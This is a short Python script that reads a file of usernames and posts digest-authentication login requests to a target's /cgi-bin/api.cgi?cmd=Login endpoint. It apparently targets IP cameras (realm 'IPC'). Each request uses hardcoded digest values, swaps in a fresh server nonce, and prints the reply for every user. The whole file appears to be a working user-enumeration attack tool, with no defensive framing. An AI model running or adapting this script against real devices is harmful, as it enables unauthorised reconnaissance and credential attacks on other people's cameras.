import requests
import json
import re
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("host", help="Host to connect")
parser.add_argument("user_file", help="File with the list of users")
args = parser.parse_args()

url = args.host + "/cgi-bin/api.cgi?cmd=Login"

with open(args.user_file, 'r') as file:
    users = file.read().splitlines()

for user in users:
    data = [{"cmd":"Login","action":0,"param":{"Version":1,"Digest":{"UserName":user,"Realm":"IPC","Method":"POST","Uri":"cgi-bin/api.cgi?cmd=Login","Nonce":"0593d9b04322df16430523d82a999759cfd9889cbce8b0f0","Nc":"00000002","Cnonce":"1f164edfb76957d1b8a1f6731786e266381e2e3be52f83de","Qop":"auth","Response":"c14cf33af5d0a4f5d97b31f21b795a5f"}}}]
    body = json.dumps(data)
    headers = {"Content-Length": str(len(body)), "Host": args.host.replace('http://', '').replace('https://', '')}
    response = requests.post(url, headers=headers, data=body)
    nonce = re.search('nonce="([^"]*)', response.headers['WWW-Authenticate']).group(1)
    data[0]['param']['Digest']['Nonce'] = nonce
    body2 = json.dumps(data)
    headers['Content-Length'] = str(len(body2))
    response2 = requests.post(url, headers=headers, data=body2)
    print(f"User: {user}, Response: {response2.text}")